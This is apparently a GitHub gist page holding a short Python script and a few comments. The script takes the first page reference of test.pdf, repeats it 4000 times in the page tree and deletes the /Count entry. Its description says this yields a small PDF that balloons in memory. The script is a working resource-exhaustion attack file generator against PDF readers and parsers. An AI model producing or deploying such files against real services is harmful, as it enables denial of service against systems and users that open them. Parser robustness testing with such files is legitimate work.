Last active
August 13, 2024 18:06
-
-
Save coldwaterq/ff07dc8dd20cc484679db61f58511f84 to your computer and use it in GitHub Desktop.
make a new pdf that repeats the first page of test.pdf 4000 times. Allowing for a file that is smaller but baloons to use a ton of memory
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pdfcontent = open(r'test.pdf','rb').read() | |
| loc = pdfcontent.index(b"\n2 0 obj\n<<") | |
| loc = pdfcontent.index(b"[", loc)+2 | |
| loc2 = pdfcontent.index(b"R", loc)+2 | |
| page = pdfcontent[loc:loc2] | |
| print(page) | |
| pdfcontent = pdfcontent[:loc]+(page+b"\n")*4000+pdfcontent[loc2:] | |
| countLoc = pdfcontent.index(b"\n/Count ") | |
| endCountLoc = pdfcontent.index(b"\n",countLoc+1) | |
| pdfcontent = pdfcontent[:countLoc]+pdfcontent[endCountLoc:] | |
| open(r'test4.pdf','wb').write(pdfcontent) |
Author
test.pdf renamed to test.gif so I could upload it
save that and rename it to test.pdf and you are set. gist doesn't let me upload *.pdf
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Could you please also publish test.pdf? This .py script makes direct references to a couple of things in it...